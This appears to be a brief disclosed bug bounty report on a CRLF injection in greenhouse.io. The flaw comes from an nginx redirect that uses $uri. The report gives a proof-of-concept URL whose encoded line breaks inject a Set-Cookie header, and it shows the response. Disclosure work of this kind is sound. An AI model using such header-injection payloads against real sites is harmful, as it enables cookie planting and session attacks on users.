Greenhouse.io · Report #25275
[greenhouse.io] CRLF Injection / Insecure nginx configuration
Validstatus
8upvotes
2 Nov 2016disclosed
How it was found
PoC http://greenhouse.io/%0d%0aSet-Cookie:test=test;domain=.greenhouse.io
HTTP Response: Location: http://www.greenhouse.io/ Set-Cookie:test=test;domain=.greenhouse.io
Result: Creating cookie test=test on .greenhouse.io
$uri or $document_uri is used in the redirection-URL.